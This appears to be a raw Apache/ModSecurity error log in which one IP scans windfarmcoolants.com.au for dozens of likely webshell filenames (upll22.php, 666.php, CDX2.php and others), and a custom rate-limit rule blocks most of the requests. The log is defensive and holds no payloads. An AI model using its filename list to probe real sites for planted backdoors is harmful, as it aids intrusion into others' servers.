[Sat Apr 11 02:42:24.325727 2026] [:error] [pid 21706:tid 21728] [client 4.245.205.135:60253] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlEkCGQ1M5d8fQSsLHUigAAABQ"]
[Sat Apr 11 02:42:24.974759 2026] [:error] [pid 55451:tid 55467] [client 4.245.205.135:35999] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlEkHApxuyB7yCS5RkvZAAAAM4"]
[Sat Apr 11 02:42:25.487958 2026] [:error] [pid 21706:tid 21730] [client 4.245.205.135:49636] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlEkSGQ1M5d8fQSsLHUmAAAABY"]
[Sat Apr 11 02:42:26.006508 2026] [:error] [pid 21568:tid 21580] [client 4.245.205.135:46393] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlEkoiz5v_ljZxkpR_l5gAAAQg"]
[Sat Apr 11 02:42:26.502359 2026] [:error] [pid 21706:tid 21727] [client 4.245.205.135:36030] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlEkiGQ1M5d8fQSsLHUqAAAABM"]
[Sat Apr 11 02:42:27.105532 2026] [:error] [pid 21706:tid 21722] [client 4.245.205.135:53895] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlEkyGQ1M5d8fQSsLHUsgAAAA4"]
[Sat Apr 11 02:42:27.674857 2026] [:error] [pid 21706:tid 21712] [client 4.245.205.135:37310] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlEkyGQ1M5d8fQSsLHUvAAAAAQ"]
[Sat Apr 11 02:42:28.201516 2026] [:error] [pid 21706:tid 21729] [client 4.245.205.135:52935] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlElCGQ1M5d8fQSsLHUwwAAABU"]
[Sat Apr 11 02:42:29.004560 2026] [:error] [pid 21706:tid 21715] [client 4.245.205.135:37295] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlElSGQ1M5d8fQSsLHUzgAAAAc"]
[Sat Apr 11 02:42:29.539376 2026] [:error] [pid 21569:tid 21671] [client 4.245.205.135:44239] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlElXAvQTgvXJ6vHoqwTwAAAJM"]
[Sat Apr 11 02:42:30.272411 2026] [:error] [pid 21570:tid 21673] [client 4.245.205.135:57396] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "adlEljKs5t9xRSNL6cne8QAAAEY"]
[Sat Apr 11 02:42:30.955679 2026] [:error] [pid 21706:tid 21723] [client 4.245.205.135:56683] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "adlEliGQ1M5d8fQSsLHU2QAAAA8"]
[Sat Apr 11 02:42:31.645766 2026] [:error] [pid 55451:tid 55477] [client 4.245.205.135:36024] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "adlEl3ApxuyB7yCS5RkveQAAANg"]
[Sat Apr 11 02:42:32.300201 2026] [:error] [pid 21706:tid 21726] [client 4.245.205.135:58563] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/upll22.php"] [unique_id "adlEmCGQ1M5d8fQSsLHU4AAAABI"]
[Sat Apr 11 02:42:32.881123 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:56679] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "adlEmCGQ1M5d8fQSsLHU6gAAAAU"]
[Sat Apr 11 02:42:33.635031 2026] [:error] [pid 21706:tid 21723] [client 4.245.205.135:56650] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "adlEmSGQ1M5d8fQSsLHU9AAAAA8"]
[Sat Apr 11 02:42:34.143352 2026] [:error] [pid 55451:tid 55461] [client 4.245.205.135:56679] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "adlEmnApxuyB7yCS5RkviwAAAMg"]
[Sat Apr 11 02:42:34.765479 2026] [:error] [pid 21568:tid 21588] [client 4.245.205.135:65226] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "adlEmoiz5v_ljZxkpR_l-wAAARA"]
[Sat Apr 11 02:42:35.280525 2026] [:error] [pid 55451:tid 55464] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/byrgo.php
[Sat Apr 11 02:42:35.531424 2026] [:error] [pid 55451:tid 55465] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-243.php
[Sat Apr 11 02:42:35.780048 2026] [:error] [pid 55451:tid 55475] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/pm90apbv3v5fvgkbguyiCdefault.php
[Sat Apr 11 02:42:36.094723 2026] [:error] [pid 55451:tid 55460] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sat Apr 11 02:42:36.344763 2026] [:error] [pid 55451:tid 55461] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/CDX1.php
[Sat Apr 11 02:42:36.603867 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/gvg1bvpsgtot1rpklCdefault.php
[Sat Apr 11 02:42:36.898432 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/6xBAm3vODE05BSzkJZRAws.php
[Sat Apr 11 02:42:37.185732 2026] [:error] [pid 55451:tid 55475] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Sat Apr 11 02:42:37.479921 2026] [:error] [pid 55451:tid 55467] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Sat Apr 11 02:42:37.768865 2026] [:error] [pid 55451:tid 55457] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Sat Apr 11 02:42:38.091505 2026] [:error] [pid 55451:tid 55462] [client 4.245.205.135:46363] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Sat Apr 11 02:42:38.353706 2026] [:error] [pid 55451:tid 55461] [client 4.245.205.135:46363] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adlEnnApxuyB7yCS5RkvrwAAAMg"]
[Sat Apr 11 02:42:39.045853 2026] [:error] [pid 55451:tid 55476] [client 4.245.205.135:56676] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adlEn3ApxuyB7yCS5RkvswAAANc"]
[Sat Apr 11 02:42:39.797087 2026] [:error] [pid 21706:tid 21728] [client 4.245.205.135:58903] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adlEnyGQ1M5d8fQSsLHVGwAAABQ"]
[Sat Apr 11 02:42:40.373004 2026] [:error] [pid 21706:tid 21723] [client 4.245.205.135:46391] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX2.php"] [unique_id "adlEoCGQ1M5d8fQSsLHVHgAAAA8"]
[Sat Apr 11 02:42:41.199264 2026] [:error] [pid 21570:tid 21668] [client 4.245.205.135:56661] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adlEoTKs5t9xRSNL6cne_QAAAEM"]
[Sat Apr 11 02:42:41.912797 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:37257] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adlEoSGQ1M5d8fQSsLHVMQAAAAI"]
[Sat Apr 11 02:42:42.438789 2026] [:error] [pid 21570:tid 21696] [client 4.245.205.135:57389] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adlEojKs5t9xRSNL6cnfAQAAAFY"]
[Sat Apr 11 02:42:43.098907 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:65246] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "adlEoyGQ1M5d8fQSsLHVPgAAAAI"]
[Sat Apr 11 02:42:43.612998 2026] [:error] [pid 21568:tid 21584] [client 4.245.205.135:56648] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adlEo4iz5v_ljZxkpR_mJAAAAQw"]
[Sat Apr 11 02:42:44.233490 2026] [:error] [pid 21570:tid 21670] [client 4.245.205.135:38102] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adlEpDKs5t9xRSNL6cnfCQAAAEQ"]
[Sat Apr 11 02:42:44.871909 2026] [:error] [pid 55451:tid 55468] [client 4.245.205.135:65266] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adlEpHApxuyB7yCS5Rkv0gAAAM8"]
[Sat Apr 11 02:42:45.454021 2026] [:error] [pid 21568:tid 21594] [client 4.245.205.135:53929] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "adlEpYiz5v_ljZxkpR_mKwAAARY"]
[Sat Apr 11 02:42:46.084827 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:46978] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adlEpiGQ1M5d8fQSsLHVVwAAAAI"]
[Sat Apr 11 02:42:46.614594 2026] [:error] [pid 21570:tid 21697] [client 4.245.205.135:65244] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adlEpjKs5t9xRSNL6cnfGAAAAFc"]
[Sat Apr 11 02:42:47.360523 2026] [:error] [pid 21706:tid 21729] [client 4.245.205.135:62099] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adlEpyGQ1M5d8fQSsLHVXwAAABU"]
[Sat Apr 11 02:42:48.330584 2026] [:error] [pid 21706:tid 21722] [client 4.245.205.135:58935] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "adlEqCGQ1M5d8fQSsLHVaQAAAA4"]
[Sat Apr 11 02:42:49.221862 2026] [:error] [pid 21706:tid 21714] [client 4.245.205.135:59357] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adlEqSGQ1M5d8fQSsLHVdwAAAAY"]
[Sat Apr 11 02:42:51.159965 2026] [:error] [pid 21568:tid 21584] [client 4.245.205.135:65274] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adlEq4iz5v_ljZxkpR_mQAAAAQw"]
[Sat Apr 11 02:42:52.240323 2026] [:error] [pid 21568:tid 21572] [client 4.245.205.135:65219] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adlErIiz5v_ljZxkpR_mRQAAAQA"]
[Sat Apr 11 02:42:52.897468 2026] [:error] [pid 21570:tid 21670] [client 4.245.205.135:35983] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "adlErDKs5t9xRSNL6cnfMQAAAEQ"]
[Sat Apr 11 02:42:53.612134 2026] [:error] [pid 21570:tid 21681] [client 4.245.205.135:53906] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adlErTKs5t9xRSNL6cnfNAAAAEo"]
[Sat Apr 11 02:42:54.369622 2026] [:error] [pid 21706:tid 21723] [client 4.245.205.135:43466] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adlEriGQ1M5d8fQSsLHVnwAAAA8"]
[Sat Apr 11 02:42:55.451839 2026] [:error] [pid 21570:tid 21692] [client 4.245.205.135:58912] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adlErzKs5t9xRSNL6cnfOQAAAFI"]
[Sat Apr 11 02:42:56.699538 2026] [:error] [pid 55451:tid 55473] [client 4.245.205.135:58905] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amax.php"] [unique_id "adlEsHApxuyB7yCS5Rkv_gAAANQ"]
[Sat Apr 11 02:42:57.553657 2026] [:error] [pid 21570:tid 21673] [client 4.245.205.135:63446] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlEsTKs5t9xRSNL6cnfTAAAAEY"]
[Sat Apr 11 02:42:58.381484 2026] [:error] [pid 21706:tid 21720] [client 4.245.205.135:52974] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlEsiGQ1M5d8fQSsLHVwgAAAAw"]
[Sat Apr 11 02:43:00.910675 2026] [:error] [pid 21706:tid 21725] [client 4.245.205.135:57353] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlEtCGQ1M5d8fQSsLHV8wAAABE"]
[Sat Apr 11 02:43:01.549872 2026] [:error] [pid 21706:tid 21720] [client 4.245.205.135:56672] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adlEtSGQ1M5d8fQSsLHWAQAAAAw"]
[Sat Apr 11 02:43:02.204387 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:36007] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "adlEtiGQ1M5d8fQSsLHWDgAAAAI"]
[Sat Apr 11 02:43:02.747528 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:37257] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "adlEtiGQ1M5d8fQSsLHWGQAAABg"]
[Sat Apr 11 02:43:04.368676 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:53947] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "adlEuCGQ1M5d8fQSsLHWLwAAAAU"]
[Sat Apr 11 02:43:04.940708 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:43462] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "adlEuHApxuyB7yCS5RkwFwAAANE"]
[Sat Apr 11 02:43:05.798421 2026] [:error] [pid 21706:tid 21724] [client 4.245.205.135:52958] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "adlEuSGQ1M5d8fQSsLHWRAAAABA"]
